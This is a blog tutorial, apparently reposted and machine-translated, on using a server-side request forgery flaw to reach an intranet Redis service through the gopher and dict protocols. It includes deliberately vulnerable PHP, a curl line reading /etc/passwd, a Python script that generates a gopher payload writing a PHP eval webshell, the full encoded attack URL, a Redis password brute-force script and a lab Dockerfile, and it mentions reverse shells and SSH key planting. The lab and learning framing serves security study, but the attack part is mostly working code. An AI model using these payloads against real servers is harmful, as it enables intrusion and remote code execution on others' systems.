Redis Exploitation of SSRF Vulnerability

Redis Exploitation of SSRF Vulnerability

SSRF-(Server-side Request Forge, server-side request forgery)
definition : the vulnerability caused by the attack link constructed by the attacker and transmitted to the server for execution, generally used to detect or attack the internal network service on the external network

The SSRF vulnerability mind map is as follows, this article mainly introduces the use of SSRF vulnerabilities to attack the intranet Redis

image-20210121152856276

SSRF attacks intranet Redis

When there is an SSRF vulnerability and the Redis service in the intranet can be accessed without authorization, using Redis to write arbitrary files becomes a very common way to use it. Generally, there will be a Redis service running with root privileges in the intranet, and the Gopher protocol can be used to attack the intranet Redis.

In the previous article "Basics of SSRF Vulnerability" , we learned about the regular use of file, dict, and gopher protocols

# 利用file协议查看文件
curl -v 'http://sec.com/ssrf.php?url=file:///etc/passwd'

# 利用dict探测端口
curl -v 'http://sec.com/ssrf.php?url=dict://127.0.0.1:6379'

# 利用gopher协议反弹shell
curl -v 'http://sec.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379/_....'

If we want to use the Gopher protocol to construct a message, we must figure out how Redis performs data transmission - namely [RESP protocol]

Redis Transmission Protocol-[RESP Protocol]

Redis unauthorized access

Use docker to build a ready-made Redis unauthorized vulnerability environment for testing, the process is as follows:

  1. Get Redis custom image
# 搜索镜像
docker search ju5ton1y
# 拉取镜像
docker pull ju5ton1y/redis
  1. Run Redis container

    ps: Students who want to understand how the ju5ton1y/redis mirror dockerfile is written can see the easter eggs at the end of the article~

# 运行Redis
docker run -p 6788:6379 --name redis_test -d ju5ton1y/redis

-p 6788:6379 # Port mapping, format [host (host) port: container port]

-d ju5ton1y/redis # Run the container in the background and return the container ID

--Name redis_test # Name the container

image-20210119222235294

  1. Enter the container and install the tcpdump capture tool
# 新终端进入Redis容器
docker exec -it redis_test /bin/bash

# 将redis.conf改为无密码未授权
sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf

# 重启容器使配置生效
docker restart redis_test

image-20210119222559082
image-20210119224913059

# 重新进入容器安装tcpdump
apt-get install tcpdump 
# 监听eth0网卡的6379端口,将报文保存为nopass.pcap
tcpdump -i eth0 port 6379 -w nopass.pcap

image-20210119225549995

  1. The local client connects for unauthorized access, and then uses Wireshark to open nopass.pcap

image-20210119230547720

View the TCP stream data, you can see the Redis data transmission format, combined with the official website to learn the RESP protocol, the introduction is as follows

RedisServer and client communicate through RESP(REdis Serialization Protocol) protocol

The RESP protocol was introduced in Redis 1.2, but it has become a standard way to communicate with the Redis server in Redis 2.0

RESP is actually a serialization protocol that supports the following data types :

  • Simple string
  • error
  • Integer
  • Batch string
  • Array

RESP is used as a request-response protocol in Redis as follows:

  1. The client sends the command as Bulk Stringsan RESP array to the Redis server
  2. The server responds to a RESP type according to the command

In RESP, the type of some data depends on the first byte:

  • For client requests Simple Strings, the first byte of the reply is+
  • For client requests error, the first byte of the reply is-
  • For client requests Integer, the first byte of the reply is:
  • For client requests Bulk Strings, the first byte of the reply is$
  • For client requests array, the first byte of the reply is*

In addition, a special variant RESPof Bulk Stringsor specified later can be used Arrayto represent the Nullvalue.

In RESP, the different parts of the agreement always "\r\n"(CRLF)end.

You can see that the process for the client to send commands to the Redis server is

  • The client sends a RESP Array composed of only Bulk Strings to the Redis server
  • The Redis server sends any valid RESP data type as a reply to the client

Bulk Strings are used to represent a single binary security string with a maximum length of 512 MB, encoded in the following way:

  • $字节数: A $number of bytes followed by a character string, terminated by CRLF.
  • String data
  • CRLF

f4keThe encoding of the string is as follows:, the $4\r\nf4ke\r\nformat as shown below

image-20210118161113394

RESP Arrays are sent using the following format:

  • *元素数: *Character as the first byte, followed by the number of elements in the array, followed by CRLF
  • Each element in the array is attached with RESP type

Now understand the data packet through the following figure:

  • Each *numberrepresents each command line, and number represents the number of elements in the array in each command line
    • In the figure, the 3 elements *3representing config get dbfilenamethis command
  • $numberRepresents the length of each element
    • $6, Represents the configlength

image-20210118161658418

Redis authentication access

Modify the redis.conf configuration to capture packets if there is a password

# 进入容器中修改配置文件
sed -i 's/# requirepass 123123/requirepass 123123/g' /data/redis/redis.conf
# 重启docker容器
docker restart redis_test
# 监听eth0网卡的6379端口,将报文保存为pass.pcap
tcpdump -i eth0 port 6379 -w pass.pcap

wireshark tracks TCP flows:

image-20210120101156767

/tmpWas successfully written to shell.php

image-20210120102349713

You can see that the following format is used for verification before each request command is executed:

*2
$4
AUTH
$6
123123

The official document mentions that the client can send multiple commands through one write operation without reading the server response of the previous command before issuing the next command .

Therefore, in the case of authentication (weak password), we can still carry out the same attack method as unauthorized, only need to add authentication data to the attack script

SSRF attack recurrence

Redis unauthorized access

test environment:

Victim: Tencent Cloud VPS php7.2 (install curl extension) + apache2 + redis6.0.6

Attack machine: windows10

At the beginning, give a piece of ssrf vulnerability code, use it to find the flag~

# ssrf.php
<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
# curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
# curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);   //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch);  //关闭 cURL 资源,并且释放系统资源
?>

image-20210120165807075

Use the dict protocol to detect the host survival and port opening status of the internal network, use the burpsuite tool to set the blasting 1000-9000 port, the blasting result is as follows, there is a redis service on port 6788

image-20210120165542929

And the 6788redis port of vps cannot be accessed locally, its Redis service is only for the intranet where vps is located

image-20210120165514692

Preliminary idea : Construct Redis command to write webshell, try to use Chinese Ant Sword connection to find flag

flushall
set 1 '<?php eval($_POST[\"f4ke\"]);?>'
config set dir /var/www/html
config set dbfilename 5he1l.php
save
quit

According to the RESP protocol, use the python script written by Qiyou master to redisSsrf.pyconvert the above commands into gopher payload

import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),  
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))

    # print(payload)
    print(urllib.parse.quote(payload))

Execute the redisSsrf.pyscript to generate the payload

image-20210121102100251

Put the url parameter browser request as follows, successfully execute the Redis command to write to the webshell

http://xx.xx.xx.xx:8000/ssrf.php?url=gopher%3A//127.0.0.1%3A6788/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522f4ke%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A5he1l.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

image-20210121095445185

Use Chinese Ant Sword to establish a connection, the file is what we just wrote 5he1l.php, the password isf4ke

image-20210120172105728

Save the data right-click the file management, you can find the flag file

image-20210120172241143

image-20210120172308517

Redis weak password authentication

test environment:

Victim: Tencent Cloud VPS php7.2 (install curl extension) + apache2 + redis6.0.6

Attack machine: windows10

Browser access returns as follows: No password authentication for the request

image-20210121110647323

We further use the dict protocol to try to authenticate the password using the following format

dict://serverip:port/命令:参数
dict://127.0.0.1:6788/auth:123456

Use auth:123456, return result:

image-20210121140919331

Use auth:123123, return result:

image-20210121141016108

Through the two response results, it can be determined that the Redis password is 123123

Therefore, in the case of intranet redis authentication, you can use dict or gopher and other protocols to write scripts to try to blast Redis passwords. A simple implementation of the blasting script is as follows:

import urllib.request
import urllib.parse 

url = "http://xx.xx.xx.xx:8000/ssrf.php?url="

param = 'dict://127.0.0.1:6788/auth:'

with open(r'd:\test\top100.txt', 'r') as f:
    for i in range(100):
        passwd = f.readline()
        all_url = url + param + passwd
        # print(all_url)
        request = urllib.request.Request(all_url)
        response = urllib.request.urlopen(request).read()
        # print(response)
        if "+OK\r\n+OK\r\n".encode() in response:
            print("redis passwd: " + passwd)
            break

The password obtained by blasting is added to the redisSsrf.pyscript, and the following attack is the same as the unauthorized access attack process to obtain the server authority

SSRF utilization tool

Gopherus - https://github.com/tarunkant/Gopherus

Gopherus can help us directly generate Gopher payload to use SSRF (server-side request forgery) and obtain RCE (remote code execution)

For example, the script of Master Qiyou in this article can use this tool instead of directly generating the payload

image-20210121161607326

The following two tools are commonly used

  • SSRFmap - https://github.com/swisskyrepo/SSRFmap
  • shellver - https://github.com/0xR0/shellver

to sum up

In addition to writing to the webshell, the use of SSRF to attack the intranet Redis can also be used

  • Scheduled task execution command reverse shell
  • Write ssh-keygen public key and log in with private key

These two methods are used in detail in the article "Redis Unauthorized Vulnerability Summary" . As long as the payload is combined with redisSsrf.pythe script of this article , the attack can be realized.

Through the establishment of Redis attack environment, I am familiar with the writing of docker commands and dockerfile, as well as the configuration of ubuntu apache2 and the use of the built-in firewall ufw

Easter eggs

How Dockerfile file realizes the customization of Redis unauthorized environment:

#Redis 未授权访问

# 基于ubuntu:16.04版本
FROM ubuntu:16.04

# Maintainer: 设置该镜像的作者
MAINTAINER ju5ton1y


# RUN:用于执行后面跟着的命令行命令。有以下俩种格式:

## shell 格式:等同于在终端操作的 shell 命令
RUN echo "deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse" > /etc/apt/sources.list  # 换源


RUN apt-get update  # 更新
RUN apt-get install -y openssh-server make gcc
#RUN wget http://download.redis.io/releases/redis-3.2.11.tar.gz

# COPY:从上下文目录中复制文件或者目录到容器里指定路径
COPY redis-3.2.11.tar.gz ./  # 复制redis安装包到容器当前文件夹
RUN tar xzf redis-3.2.11.tar.gz # 解压
RUN cd redis-3.2.11 && make && cd src && cp redis-server /usr/bin &&  cp redis-cli /usr/bin  # 编译并将redis-server及redis-cli复制到/usr/bin目录下

# ADD:复制文件指令。它有两个参数<source>和<destination>。destination是容器内的路径。source可以是URL或者是启动配置上下文中的一个文件
ADD redis.conf /etc/redis.conf  # 映射配置文件到容器内
ADD sshd_config /etc/ssh/sshd_config

# EXPOSE:指定容器在运行时监听的端口
EXPOSE 6379 22

RUN /etc/init.d/ssh restart  # 重启ssh服务

# CMD 类似于 RUN 指令,在docker run时运行
## exec 格式:等价于 RUN redis-server /etc/redis.conf
CMD ["redis-server", "/etc/redis.conf"]  # 以被映射到容器中的配置文件启动redis服务

The startup configuration context directory is as follows:

image-20210119215105383

reference

Web Security Basic Learning SSRF Vulnerability Exploitation

SSRF learning records : need to go online scientifically

SSRF in PHP

Analysis of SSRF authentication attack Redis

Docker from entry to practice

Guess you like

Origin blog.csdn.net/weixin_39664643/article/details/112966684